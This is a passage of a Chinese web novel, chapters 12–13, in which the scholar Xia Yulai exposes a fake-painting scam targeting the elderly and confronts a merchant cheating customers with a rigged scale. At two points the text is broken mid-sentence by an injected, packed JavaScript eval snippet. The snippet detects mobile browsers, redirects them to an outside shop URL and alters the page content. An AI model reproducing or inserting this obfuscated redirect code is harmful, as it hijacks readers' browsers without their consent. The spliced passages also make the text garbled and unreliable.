他顿了顿,望着眼前热闹、安稳、充满烟火气的长街,眼神清澈而坚定:“阿翠娘子,你看。地痞可治,恶霸可斗,奸商可拆,邻里可和。只要我们心向公道,坚守底线,这市井,就一定会安稳,这百姓,就一定会平安。” 风一吹,他的青布长衫轻轻摆动。穷秀才的身影,在晨光里,挺拔如竹,安稳如山。 百姓的欢呼声、夸赞声、吆喝声,混着饭菜香、菜香、茶香,在长街上飘荡。 自此一役,癞三等人再也不敢踏入东门街一步,再也不敢欺负小贩、骚扰百姓。王伯的菜摊,从此安安稳稳,再也没有人敢来捣乱。 而夏雨来 “巧护菜摊、智治地痞” 的故事,也随着市井烟火,传遍潮州城,成为百姓口中津津乐道的又一段侠义佳话。 鬼才秀才夏雨来,依旧是那个爱管闲事、爱讲道理、爱为民出头的穷秀才。他的市井侠义传奇,仍在继续,从未停歇。 12. 假画骗局 一、城隍庙前,骗局开张 暮春时节,潮州城晴多雨少,日光暖洋洋洒在城头,把东门街市烘得一派热闹烟火气。 经过前几日夏雨来连斗地痞、稳护菜摊,整条街市风气越发清朗。王伯的菜摊安安稳稳,癞三一伙再不敢露面,小贩们安心摆摊,百姓从容购物,连吆喝声都透着踏实。 夏雨来依旧是那身洗得发白的青布长衫,背着旧书箱,清晨先到阿翠茶摊喝一碗热茶,再慢悠悠在街上闲逛。他如今已是街市公认的 “公道主心骨”,一路走过,人人拱手问好,笑意真切。 “夏雨来,今日天气好,城隍庙那边肯定热闹,你不去转转?” 阿翠笑着提醒,“听说这几天来了个外乡卖画的,哭得可怜,好多老人都心软掏钱了。” 夏雨来指尖一顿,抬眼笑道:“卖画的?是正经卖画,还是…… 设局骗人?” 阿翠压低声音:“我看不像正经的。穿得破破烂烂,自称落魄世家子弟,说老母病重,变卖祖传古画救命。画都黄黄旧旧,看着像老东西,专门骗老人家心软。” 夏雨来眼神微微一沉。 骗钱也就罢了,专挑老人下手,骗的是养老钱、棺材本、省吃俭用的血汗钱 —— 这是最阴、最毒、最缺德的局。 “我去看看。” 夏雨来放下茶碗,拱手一笑,“若是正经落难,能帮则帮;若是骗子设局,我就让他在潮州城,现原形、丢干净人、一分便宜占不着。” 说罢,他背起书箱,步履从容,往城隍庙方向走去。 潮州城城隍庙前本就是闹市口,人流混杂,最易藏污纳垢,也最易设局行骗。今日更是围得里三层外三层,人声嘈杂,有叹息、有同情、有议论,唯独没人察觉 —— 自己正围在一场精心布置的骗局旁边。 夏雨来不动声色,挤到外围,踮脚一看,心中立刻了然。 场子中央,摆着一条破旧长凳,凳上铺一块脏旧蓝布,布上摊着三四幅 “古画”。画作泛黄、有虫蛀、边角磨损,看上去颇有年代感。 摆摊的骗子三十出头,穿一身打补丁的旧长衫,头发散乱,面色凄苦,双眼红肿,一看就是 “刚哭过” 的模样。他面前摆一张白纸,上面歪歪扭扭写着几行字: “落难公子,祖传古画,母病重无钱医治,忍痛变卖,求善人相助。” 骗子时不时抹抹眼睛,哽咽出声,声音悲戚:“诸位乡亲…… 在下祖上也曾为官,家道中落,老母病危,急需银两抓药…… 这几幅古画,是家中仅存之物,只求换几两银子,救母一命……” 这番说辞,凄惨、可怜、有身份落差、有孝子人设,对市井百姓,尤其对心软善良的老人,杀伤力极大。 周围已经围了不少老头老太,个个面露同情,纷纷议论:“唉,太可怜了,母病重,落难卖画,真是走投无路。”“画看着也像老画,黄黄的,有虫眼,应该是真的。”“咱们能帮就帮点吧,积德行善,救人性命。” 骗子耳朵极灵,一听这话,哭得更凶,连连作揖:“多谢善人!多谢善人!在下来世做牛做马,报答大恩!” 夏雨来站在外围,一眼就看穿了全套把戏。 画是新画做旧,用浓茶浸泡、烟熏、日晒,人为造出 “古旧” 效果;虫蛀是针扎的,墨迹浮于表面,纸筋发新,印章是刻章店十文钱一个仿刻的,连落款朝代都能错得离谱。 而这套 “落难公子、母病卖画” 的剧本,更是街头骗子用了几百年的老套路 ——以孝动人,以旧惑眼,以弱欺善。 夏雨来心中冷笑。 你会演戏,我就会拆台;你会做旧,我就会鉴伪;你专骗老人,我就专为老人撑腰。 今日,我就让你这假画骗局,在城隍庙前,当众现原形。 二、阿婆上当,血汗钱空 夏雨来没有立刻出声。 他在等,等一个最关键的人 —— 等一个真正被骗得走投无路的老人,站出来成为破局的引子。 没等片刻,人群后方传来一阵压抑的呜咽哭声。 一位头发全白、裹着头巾、步履蹒跚的老婆婆,扶着墙,一步步挪进来,眼泪止不住往下掉。 老婆婆姓陈,无儿无女,一生孤苦,靠给人缝补洗衣、捡破烂、帮工打杂,一文一文攒下二两银子。那不是闲钱,是她的棺材本、养老钱、救命钱,是她晚年唯一的依靠。 陈阿婆耳朵软,心更软,一辈子没害过人,见不得别人受苦。 她刚才在外面听了半天,早已泪流满面,心一横,把藏在衣襟最内层的布包取出来,一层层打开,里面是用布条裹得整整齐齐的碎银子,一共二两。 “孩子……” 陈阿婆声音颤抖,走到骗子面前,把银子递过去,“我…… 我就这么多了,你拿回去给你娘抓药…… 治病要紧……” 骗子眼睛一亮,心中狂喜,脸上却依旧悲戚,“噗通” 一声就给陈阿婆跪下,磕了一个响头:“老夫人!您是大善人!是救命恩人!在下永世不忘!” 他双手颤抖,“郑重” 地从长凳上取下一幅最 “像古画” 的山水图,双手捧着,递给陈阿婆:“老夫人,此画是祖传珍品,价值不菲,今日赠予您,报答您的救命之恩!” 陈阿婆哪里懂画?只当是真宝贝,双手接过,紧紧抱在怀里,像抱着一份功德,含泪点头:“好…… 好…… 你快救你娘去吧……” 骗子拿到银子,指尖一捏,心中乐开了花。 二两银子,到手。 这在当时,够普通人家过上半年。 他假意又哭了几句,眼神四处乱瞟,准备再骗几个人,就趁乱卷画跑路,换个地方继续骗。 周围老人见陈阿婆出手,更加感动,纷纷掏钱,三文五文、一钱半钱,往骗子手里送。 陈阿婆抱着 “古画”,慢慢挤出人群,走到墙角石阶上坐下,越想越心疼自己的银子,又越想越觉得自己做了善事,悲喜交加,终于忍不住,捂着脸,低声痛哭起来。 “我的钱…… 那是我的棺材本啊……”“可他娘病重…… 我不帮,他可怎么活……”“我就盼着这画是真的…… 就盼着……” 哭声微弱、凄凉、无助,听得周围百姓心酸,却没人知道 —— 她怀里的画,连三文钱都不值。 这一幕,正好落入夏雨来眼中。 夏雨来嘴角那点戏谑笑意,瞬间淡去,眼神冷了下来。 他生平最恨三种事:恶霸欺市,奸商短秤,骗子欺老。 你骗钱,我可以饶你一次;你骗老人活命钱、棺材本,我绝不容忍。 夏雨来不再犹豫,从人群外围缓步走出,径直走向陈阿婆。 三、秀才上前,轻声安人 陈阿婆正坐在墙角抹泪,忽然面前出现一双干净的布鞋。 她抬头一看,眼前站着一位青布长衫的年轻书生,眉目温和,笑容干净,眼神里没有轻视,没有怜悯,只有安稳与真诚。 正是夏雨来。 “阿婆,您没事吧?” 夏雨来声音放得极轻、极温和,蹲下身,与老人平视,“是不是心里难受?” 陈阿婆见是斯文秀才,委屈一下子涌上来,眼泪掉得更凶:“秀才相公…… 我…… 我刚才把一辈子攒的二两银子,都给那卖画的孩子了…… 他说他娘病重…… 我心一软,就全给了……” 夏雨来点点头,静静听着,不打断、不评判、不急躁。 老人最需要的不是道理,是倾听。 等陈阿婆哭了一阵,情绪稍缓,夏雨来才轻声问:“阿婆,您换回来的画,能给小生看一眼吗?小生略懂几笔书画,帮您看看,好不好?” 陈阿婆一愣:“看画?可…… 那是祖传珍品啊……” 夏雨来笑了笑,语气笃定又安稳:“阿婆,您放心,小生不抢、不碰、不弄坏,就看一眼。若是真迹,咱们一起恭喜;若是假的,小生帮您把银子,一文不少,全部追回来。” “追…… 追回来?” 陈阿婆眼睛一亮,像抓住救命稻草,“秀才相公,你…… 你能帮我把银子追回来?” “能。” 夏雨来点头,一字一句,坚定有力,“只要您信我。我夏雨来在潮州城,骗老人的钱,我必须追;坑百姓的局,我必须破。” 他的声音不大,却像一颗定心丸,落进陈阿婆心里。 连日来夏雨来为百姓出头、斗恶霸、治地痞、平纷争的名声,老人早有耳闻。 眼前这个秀才,是街坊口中的 “公道人”。 陈阿婆不再犹豫,小心翼翼把怀里的画,递给夏雨来。 夏雨来双手接过,轻轻展开。 画一展开,他心中已经稳了九成九。 纸是竹纸,新做旧,茶渍痕迹明显;墨是松烟墨,浮在纸面,未入纸筋;笔法僵硬,线条死板,毫无古人气韵;落款写着 “唐寅”,也就是唐伯虎,可画风完全是市井俗笔,连形似都做不到;印章更是粗制滥造,边缘歪斜,印泥鲜红发亮 —— 古画印泥应是暗红沉郁,绝不可能如此鲜亮。 最可笑的是,画角题字竟把 “成化年制” 写成 “成化年造”,一字之差,真伪立判。 假得不能再假。 夏雨来心中了然,脸上却不动声色,轻轻把画卷好,递回给陈阿婆,语气依旧温和: “阿婆,您记住一句话,等会儿无论发生什么,都别慌、别哭、别害怕。有我站在您前面,银子一定能追回来,一分不少,一两不缺。” 陈阿婆紧紧握住画,用力点头:“我信你!秀才相公,我信你!” 夏雨来站起身,拍了拍长衫上的灰尘,转过身,眼神一变。温和褪去,狡黠升起;笑意不变,却多了几分锐利如刀。 他缓步走向人群中央的骗子,步伐从容,声音清亮,朗朗开口: “哎呀呀!这位兄台真是孝子情深,落难卖画,感动满城!在下夏雨来,略通书画,今日有幸,想一睹兄台‘祖传珍品’的真容,开开眼界!” 声音一落,全场瞬间安静。 骗子猛地抬头,看到夏雨来,心中咯噔一下。 来者不善。 四、当众鉴伪,层层拆局 骗子反应极快,立刻挤出悲戚神色,连连摆手:“这位相公…… 不了不了,画简陋,怕污了您的眼…… 在下只求换钱救母,不敢献丑……” 他越是推脱,越是心虚,围观百姓越是疑惑。 夏雨来却步步紧逼,语气诙谐,却字字如刀:“兄台何必过谦?祖传古画,能救母救命,必定是珍品。小生一生最爱书画,今日若能看上一眼,死而无憾。兄台连给老母治病都舍得卖画,难道连给小生看一眼,都舍不得?” 一句话,堵死骗子所有退路。 你是 “孝子”,你是 “落难”,你是 “行善”,你就不能拒绝。 骗子脸色一阵青一阵白,骑虎难下,只能硬着头皮,拿起一幅画,递过去:“相…… 相公请看……” 夏雨来双手接过,故意高举,让所有人都能看见,然后朗声开口,一句一句,当众拆局。 他不说 “假”,只说 “疑点”,让百姓自己看、自己听、自己明白。 “诸位乡亲,大家看好了。小生鉴画,只看三点:纸、墨、款。” 他举起画,对着日光:“第一,看纸。古纸历经百年,纸筋老化,薄而柔韧,色如米黄,自然陈旧。而这幅纸,是新竹纸做旧,用浓茶浸泡、烟熏火烤,你们看 ——” 夏雨来指尖轻轻一捻,一点黄褐色茶渍脱落:“这颜色,是染上去的,不是岁月自然形成。真古画,色入肌理;假画,色浮于表。” 百姓纷纷伸长脖子,一看之下,哗然出声。 骗子脸色瞬间惨白。 夏雨来不紧不慢,继续第二点:“第二,看墨。古画用墨,百年沉郁,入纸三分,墨色沉稳。大家看这画,墨色发亮,浮在纸面,一擦就掉 ——” 夏雨来指尖轻轻在画角一抹,指尖沾了一点淡墨:“这是新墨,未经过岁月沉淀。真古画,墨干根深,绝不会一擦就掉。” 全场哗然更盛。 百姓已经开始议论:“真是假的?!”“墨一擦就掉,纸是染的!”“这不是骗人吗!” 骗子浑身发抖,冷汗直流,想要抢回画:“相公!你别乱讲!这是真的!是祖传的!” 夏雨来轻轻一闪,避开他的手,语气陡然提高,直击最后一击:“第三,看款!最可笑的就在这里!” 他高举画作,把落款对准所有人,朗声念出:“这幅画落款写‘唐寅’,唐伯虎,明朝人。可你们看这年号 ——‘成化年造’! 明朝官窑瓷器写‘造’,书画落款只写‘年制’!书画写‘年造’,是民国以后市井俗匠才会犯的错!唐朝的画不会写明朝款,明朝的画不会写错制,这连最基本的常识都错了,还敢说是祖传古画?!” 最后一句,如惊雷炸响。 全场轰然炸开! “假的!全是假的!”“他是骗子!专门骗我们老人!”“我的钱!我刚才也给他钱了!” 刚才掏钱的老人,瞬间脸色惨白,又气又急,差点晕倒。 骗子彻底慌了,把画一扔,就要卷银子逃跑:“我…… 我不卖了!我走!” “现在想走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446907|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏雨来往前一站,挡在他面前,青布长衫迎风一站,身形不算高大,却像一堵墙,拦死所有去路。 “兄台,你可以走。” 夏雨来嘴角一扬,笑意戏谑,“但陈阿婆的二两银子,其他老人的血汗钱,一文不少,全部留下。” 五、逼退骗子,全额追银 骗子见逃跑无望,索性撕破脸皮,凶相毕露:“臭秀才!你敢坏我好事!我劝你少管闲事,不然我对你不客气!” 他挥起拳头,就要朝夏雨来打去。 围观百姓齐声惊呼! 可夏雨来是什么人?他从不硬碰,却最懂攻心。 夏雨来眼皮都不抬,淡淡一句,比拳头更有力: “你打我一下,性质就变了。从诈骗,变成当街行凶、殴打书生、欺诈老弱。这条街上,上百百姓全是证人。府衙王捕快就在街口巡逻,我只要喊一声,你今天就别想走出城隍庙。大牢板子、枷锁示众,你自己选。” 一句话,点破所有后果。 骗子拳头僵在半空,不敢落下。 他只是个骗钱的混混,不敢真的行凶打人,更不敢惹上官府。 夏雨来趁热打铁,语气放缓,却依旧不容抗拒:“我给你一条活路。把骗来的所有银子,全部拿出来,还给各位老人。尤其是陈阿婆的二两银子,一分不少,原样放回。然后,你立刻卷起你的假画,滚出潮州城,永远不许再回来骗人。 我可以不喊捕快,不送官,不追究。 你若不还 ——今日,我让你在潮州城,身败名裂,人财两空,牢底坐穿。” 软硬兼施,恩威并济。给活路,也给死路;给面子,也给底线。 骗子浑身发抖,面如死灰。 他知道,自己彻底栽了。 落在夏雨来手里,他没有任何胜算。 骗子咬咬牙,从怀里掏出所有骗来的银子,一文一文、一钱一钱,全部放在地上,然后把那二两整银,双手捧着,哆哆嗦嗦递给夏雨来。 “秀才相公…… 我错了…… 我再也不敢了…… 银子都还给你们…… 求你放我走……” 夏雨来接过银子,掂了掂,分量十足,二两整,一分不少。 他转身,走回墙角,把银子递到陈阿婆面前,温和一笑: “阿婆,您的银子,一分不少,回来了。” 陈阿婆看着失而复得的二两银子,眼泪再次涌上来,这一次,是喜极而泣。 “回来了…… 我的银子回来了……” 老人双手颤抖接过,紧紧抱在怀里,“秀才相公,你是我的救命恩人!我给你磕头!” “阿婆使不得!” 夏雨来连忙扶住,“这不是我的功劳,是公道自在人心。” 他转身回到场中,把散碎银子一一分给其他被骗的老人,一文不差,一钱不缺。 老人们拿着银子,对着夏雨来连连作揖,感激涕零。 “夏秀才,你真是我们老人的靠山!”“以后我们再也不轻易上当了!”“有你在,潮州城的骗子,都不敢来了!” 夏雨来对着众人拱手一笑:“诸位记住一句话:街头可怜事,多是局中局;养老血汗钱,千万不轻付。以后再遇此类骗局,不必惊慌,不必心软,不必掏钱,只管喊我夏雨来。我来拆局,我来撑腰。” 百姓齐声应道:“好!” 夏雨来转头看向那个骗子,眼神一冷:“还不走?” 骗子如蒙大赦,连滚带爬,卷起地上的假画,灰溜溜逃出城隍庙,头也不敢回,从此再也不敢踏入潮州城一步。 六、市井传扬,侠名更盛 骗局彻底破除,恶人被赶走,银子全部追回。 城隍庙前的百姓,久久不散,围着夏雨来,称赞声、感谢声、欢呼声不绝于耳。 “夏秀才太厉害了!一眼就看穿假画!”“一文钱没花,一句话没骂,就把骗子治得服服帖帖!”“鬼才秀才,真是名不虚传!” 夏雨来笑着摆手:“不是我厉害,是骗子的局太糙,是人心太善,容易被利用。我只是把真相说出来,把公道找回来而已。” 陈阿婆攥着银子,走到夏雨来面前,颤巍巍从里面拿出一小块碎银子,塞给他:“秀才相公,这点钱,你拿着买饼吃…… 谢谢你……” 夏雨来轻轻把银子推回去,语气温和坚定:“阿婆,您留着,这是您的养老钱、救命钱。我夏雨来管闲事、破骗局,不为银子,不为名声,只为市井安稳,百姓不受欺负。您平平安安,比给我什么都强。” 一番话,坦荡透亮,听得老人热泪盈眶。 周围百姓更是敬佩不已。 一个穷秀才,不贪钱、不图名、不谋利,只为百姓出头,只为公道立身。 这样的人,在市井之中,太少见,太珍贵。 不知谁先喊了一句:“鬼才秀才夏雨来,侠义无双!” 众人立刻跟着齐声高呼:“鬼才秀才夏雨来,侠义无双!”“潮州有夏雨来,百姓不受欺!” 呼声震天,传遍城隍庙,传遍东门街,传遍整个潮州城。 日光越升越高,洒在青石板路上,暖洋洋一片。 夏雨来站在人群中央,青布长衫随风轻扬,脸上依旧是那副温和诙谐的笑意,眼神清澈而坚定。 他望着眼前一张张安心、踏实、感激的脸,心中忽然一片安稳。 他不要功名,不要利禄,不要权势。 他只要:市井安稳,老人无忧,百姓不被欺负,人心不失善良。 这,就是他夏雨来,一生所求。 阿翠也挤了过来,端着一碗热茶,眼睛亮晶晶的,满眼崇拜:“夏雨来,你又赢了。一眼鉴伪,当众拆局,一文不花,一分不少,把老人的血汗钱全部追回来。你这脑子,到底是怎么长的?” 夏雨来接过茶,仰头喝下,笑道:“我不是长了一双好眼睛,我是长了一颗平常心。骗子骗的是心软,我守的是人心;骗子做的是假局,我破的是公道。” 他望向远方热闹安稳的街市,语气清朗: “阿翠娘子,你看。恶霸可治,奸商可拆,地痞可驯,骗局可破,老人可安。 只要我夏雨来在一日,潮州城的街头,就不许骗子横行,不许欺负老人,不许吞吃百姓活命钱。” 风一吹,长衫轻扬。穷秀才的身影,在日光下,挺拔如竹,安稳如山。 自此,夏雨来 “城隍庙智破假画骗局” 的故事,传遍潮州城大街小巷。 百姓都说:“东门有个夏秀才,一眼看穿假和真,专骗骗子不骗人,专救老人救苦心。” 而鬼才秀才夏雨来的市井侠义传奇,仍在继续,从未停歇。 13. 柴米纠纷 一、晨市烟火,柴米生怨 暮春的潮州城,日头一升,风里就裹着暖意。东门街青石板被晒得温温的,菜香、饭香、竹筐的清气混在一处,挑夫的号子、小贩的吆喝、妇人的叮嘱,揉成一锅热热闹闹的市井烟火。 夏雨来照旧是那身洗得发白的青布长衫,背着旧书箱,先踱到阿翠的茶摊。铜壶咕嘟吐雾,茶香一飘,整条街都醒了几分。 “夏雨来,今日来得正好,刚沏好的茉莉茶,清口解腻。” 阿翠麻利斟上一碗,眼尾带笑,“这几日你拆假画、治地痞,街上太平多了,连走路都觉得敞亮。” 夏雨来接过茶碗,指尖一暖,仰头抿下半盏,笑意诙谐:“敞亮就对了。市井过日子,图的就是个秤平斗满、人心舒坦。若是柴米油盐都要被人克扣一刀,那日子过得就硌牙了。” “你还真说中了。” 阿翠压低声音,往街中段撇了撇嘴,“街口那家‘吴记柴米店’,老板吴算盘,最近又在秤上做手脚。买米少半升,买柴短几斤,百姓敢怒不敢言,谁去理论,他就撒泼耍赖,反说人家讹他。” 夏雨来眉梢轻轻一挑。 地痞他治过,骗子他拆过,高利贷他破过,如今轮到短秤克扣、从百姓碗里刮油的奸商。 恶霸欺的是身,骗子欺的是心,高利贷欺的是命,而柴米短秤,欺的是市井小民一日三餐的活命粮。 这种事最阴、最刁、最磨人,看似一文半文的小事,却是日日割、月月刮,把百姓的血汗刮进自己腰包。 “吴算盘……” 夏雨来把玩着茶碗,眼底闪过一丝狡黠,“名字倒贴切,就怕算盘只打自己的利,不算百姓的苦。” 他放下茶碗,拱手一笑:“既然撞见了,小生就去会会这位‘算盘精’。看看是他的秤鬼,还是我的嘴巧。” “你可别硬碰硬。” 阿翠叮嘱,“那人油滑得很,死不认账,撒泼打滚样样来。” “硬碰硬?” 夏雨来负手缓步,语气轻松,“我一个秀才,手无缚鸡之力,哪敢打架。我只跟他讲道理、玩文字、认谐音,让他自己把克扣的柴米,乖乖送回来。” 说罢,长衫一摆,慢悠悠朝吴记柴米店走去。 二、大嫂受屈,米袋含冤 吴记柴米店门口,早已围了一圈人,气氛憋闷又憋屈。 场子中央,一个穿着粗布短衫、鬓角沾着碎米的农家大嫂,正攥着一只米袋,眼圈通红,声音哽咽,却又不敢大声争辩。 她叫林大嫂,家住城外,一早进城买米,打算买五斤白米,回家给生病的婆婆熬粥、给下地的男人做饭。五斤米,是一家人一天的口粮,一文一文从牙缝里省出来。 她在吴记柴米店,看着吴算盘舀米、过秤、封口,秤杆高高翘起,吴算盘高声报数:“五斤高高的,一文不少!” 林大嫂拎着米袋往家走,路过街口王伯菜摊时,顺手往王伯的公平秤上一放 —— 只有四斤半! 足足少了半斤! 半斤米,对大户人家不算什么,对穷苦农家,就是一餐饭、一口粥、婆婆半服药引子。 林大嫂当时就急了,拎着米袋折返,要吴算盘补足差额。 可吴算盘是什么人?个头不高,脑袋尖滑,一双小眼睛滴溜溜转,打娘胎里就会算计,人称 “一毛不拔、半斤必扣” 的吴算盘。 他往柜台前一站,双手往腰上一叉,嗓门比铜锣还响:“你这妇人胡说八道!我吴记开店十几年,童叟无欺,秤是官府校验过的公平秤!你出门把米撒了,或是自己偷吃几口,反倒来讹我?我看你是穷疯了!” “我没有!” 林大嫂急得眼泪直流,“我一路拎得紧紧的,一口没动,一料没撒!王伯的公平秤就在街口,大家都可以作证!” “王伯的秤?” 吴算盘冷笑一声,唾沫星子横飞,“谁知道你们是不是串通好的?他一个卖菜的,有什么资格校验我的秤?我看你们就是一伙的,故意来我店里闹事,砸我招牌!” 他越说越凶,越说越横,干脆往门口一坐,拍着大腿撒泼:“大家都来看啊!欺压良善商家啊!讹钱讹到我头上来了!这日子没法过了!” 市井百姓最是怕缠、怕闹、怕泼赖。围观的人个个气愤,却没人敢上前。吴算盘油滑刁钻,翻脸就骂人,告官他又敢耍赖,谁也不愿惹一身腥。 林大嫂孤立无援,攥着那袋缺斤少两的米,蹲在地上,眼泪啪嗒啪嗒掉在米袋上。 “我就想给婆婆买米熬粥…… 就想让男人吃顿饱饭…… 半斤米也是命啊……” 哭声压抑、委屈、绝望,听得人心头发紧。 就在这憋闷到极点的一刻 —— 一个清亮、舒缓、带着几分戏谑,却又格外稳人心的声音,从人群外慢悠悠飘了进来: “哎呀呀 —— 一碗米能救命,一斤米能安家,半斤米能逼哭一个老实人。吴老板,你这秤,称的是米,还是心啊?” 声音不大,却像一阵清风,吹散满场戾气。 众人同时回头。 青布长衫,旧书箱,眉眼弯弯,嘴角噙笑,一双眼睛亮得能照见人心。正是夏雨来。 三、秀才登场,先礼后兵 吴算盘正撒泼撒得得意,突然被人打断,还被暗讽 “黑心”,顿时炸了毛,猛地从地上爬起来,指着夏雨来破口大骂:“哪来的穷酸秀才?敢管我吴记的事?我看你是活腻了,来找骂!” 围观百姓心都提了起来:“又是夏秀才!”“这次对上吴算盘,这可是块滚刀肉!”“秀才小心,这人撒泼耍赖无人能敌!” 林大嫂抬起泪眼,看到夏雨来,像抓住最后一根稻草,哽咽道:“夏秀才,你要为我做主啊…… 他少我半斤米,还反骂我讹人……” 夏雨来缓步走到林大嫂身边,先轻轻扶起她,声音温和安定:“大嫂不哭,有我在,今天这半斤米,他一分不少,必须给你补足。少一两,我让他赔一斤;少一斤,我让他赔一斗。” 一句话,说得斩钉截铁,林大嫂瞬间安定下来。 夏雨来这才转过身,面对吴算盘,脸上笑意不变,拱手一揖,语气斯文有礼:“吴老板,小生夏雨来,一介秀才。路见不平,过来评个理。你开店做生意,讲究秤平斗满、童叟无欺;百姓买米,图的是足斤足两、心安理得。今日这事,咱们好好说,说开了,和气生财,岂不美哉?” 先礼后兵,先给脸面,再讲道理。这是夏雨来对付奸商的第一招:把你架在 “正经商人” 的位置上,让你没法立刻撒泼。 吴算盘果然一愣,气焰被堵了一下,却依旧强硬:“评理就评理!我身正不怕影子斜!我的秤没问题,是她自己撒了米,反倒来讹我!” “好。” 夏雨来点头,语气平静,“既然老板说秤没问题,那我们就三堂会审,当众验秤。一不吵,二不闹,三不耍赖,用秤说话,用事实讲理,你敢不敢?” “我有什么不敢!” 吴算盘挺胸凸肚,硬着头皮喊,“验就验!我怕你不成!” 他心里算盘打得噼啪响:我的秤是鬼秤,秤砣加重、秤杆做手脚,当面称肯定足斤足两,你能奈我何?等我称足五斤,看你这秀才怎么下台! 夏雨来把他的心思看得一清二楚,心里暗暗发笑。 你用鬼秤,我不用秤;你玩手脚,我玩谐音;你靠硬赖,我靠巧理。今天,我让你知道:奸商的算盘再精,精不过市井公道;鬼秤再巧,巧不过一张巧嘴。 四、巧设圈套,谐音入局 夏雨来不慌不忙,对众人朗声道:“诸位街坊作证!今日我们不吵不闹,就做三件事:第一,林大嫂这袋米,原封不动,放回吴老板的秤上;第二,由吴老板亲自舀米、亲自过秤、亲自报数;第三,当众读数,当众对比,是多是少,一目了然。” 百姓齐声应道:“好!公道!” 吴算盘得意洋洋,亲自拿过米袋,往自己的鬼秤上一挂,手一提,秤杆高高翘起,他扯着嗓子喊:“大家看好了!五斤高高的!一毫不少!” “看到没有!” 吴算盘得意地看向夏雨来,“我说没问题吧!是你冤枉好人!” 围观百姓一阵哗然,有人疑惑,有人气愤,却又无话可说。 林大嫂脸色惨白,眼泪又要掉下来。 夏雨来却半点不慌,反而拍手笑道:“妙!实在是妙!吴老板,你这秤,真是‘好秤’!” 吴算盘一愣:“你知道就好!” “我知道。” 夏雨来笑意更浓,眼神狡黠如狐,“我只是有一事不明,想请教老板 —— 你这秤,称的是米,还是谜?是斗,还是抖?是足,还是亏?” 谐音一句接一句,像小锤子,一锤一锤敲在吴算盘心上。 吴算盘脸色微变:“你…… 你少在这里绕弯子!我听不懂!” “听不懂没关系。” 夏雨来往前走一步,声音清亮,让所有人都听得清清楚楚,“小生就用你这‘好秤’,再买一次米。我买十斤,你亲自舀,亲自称,亲自报数,好不好?” “买就买!” 吴算盘一口答应,心想:买多少我都能给你称 “足”,看你还有什么话说! 他亲自舀米,装袋,过秤,动作熟练,手脚麻利,鬼秤用得炉火纯青。 “十斤!高高的!” 夏雨来拎起米袋,掂了掂,又往吴算盘柜台上一放,不紧不慢地说: “吴老板,小生考你一个字。‘米’字加一笔,是什么字?” 吴算盘懵了:“米…… 米加一笔?” “是‘来’字。” 夏雨来一笑,“再来的‘来’。那我再问你:‘秤’字无心,是什么字?” “秤…… 无心?” 吴算盘脑袋转不过来。 “是‘平’字。” 夏雨来语气陡然一正,“公平的‘平’。我再问你最后一个:‘克扣’的‘扣’,换个偏旁,是什么字?” 吴算盘彻底傻了:“我…… 我不知道!” 夏雨来朗声说出答案,声音传遍全场: “是亏!亏心的‘亏’!” 三个字:来、平、亏。谐音连珠,一语三关! 百姓瞬间炸开:“来!平!亏!”“再来要公平,克扣必亏心!”“秀才太妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446908|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!谐音戳心!” 吴算盘脸色 “唰” 地惨白,浑身发抖。 五、谐音破局,当众补足 夏雨来趁热打铁,步步紧逼,语气诙谐却字字如刀: “吴老板,小生给你翻译翻译:百姓买米,想再来,先讲公平;商家卖米,一克扣,必亏良心。 你这秤,称得出斤两,称不出人心;算得清银钱,算不清德义;耍得了鬼把戏,耍不过市井公道。 你刚才称的是‘十斤’,在我这里,是十斤‘谜’—— 谜一样的短秤;是十斤‘抖’—— 你手一抖,百姓就亏;是十斤‘亏’—— 亏了米,亏了心,亏了做人的根本!” 一番话,谐音连环,道理通透,百姓听得酣畅淋漓,齐声叫好! “好!说得太对了!”“克扣就是亏心!鬼秤就是骗人!”“吴算盘,快补足米!” 吴算盘骑虎难下,冷汗直流,却依旧死撑:“我…… 我没有克扣!我的秤是准的!” “准不准,不用争。” 夏雨来淡淡一笑,指着街口,“王伯的公平秤就在那里,我们把两袋米一起拿过去,一称便知。如果你的秤准,小生当众给你磕头道歉;如果你的秤不准 ——克扣多少,加倍偿还;当众认错,砸毁鬼秤;从此以后,再也不敢短秤克扣!你敢不敢答应?” 最后一句,气势如虹,堵死所有退路。 吴算盘腿一软,差点瘫倒。 他心里清楚得很:一去公平秤,当场现原形!到时候不止加倍赔米,名声彻底臭了,店也别想开了! 围观百姓的呼声越来越大,气势排山倒海。 “答应!答应!答应!” 吴算盘面如死灰,知道自己彻底栽了。 他咬咬牙,狠狠一跺脚,转身冲进店里,拿起瓢,狠狠舀了一大瓢米,倒进林大嫂的米袋里,又多舀了半瓢,塞得满满当当。 “给给给!补足!加倍补足!行了吧!” 声音又羞又气,却无可奈何。 林大嫂拎着沉甸甸的米袋,一掂就知道,足足多了小一斤,眼泪再次掉下来,这一次是喜极而泣。 “多谢夏秀才…… 多谢夏秀才……” 夏雨来扶起她,温和一笑:“大嫂,回去给婆婆熬粥吧。以后买米,先看秤,先讲理,讲不通,喊我夏雨来。” 林大嫂千恩万谢,拎着米袋,一步三回头地走了。 六、立规市井,奸商收敛 夏雨来转过身,面对吴算盘,脸色一正,朗声道: 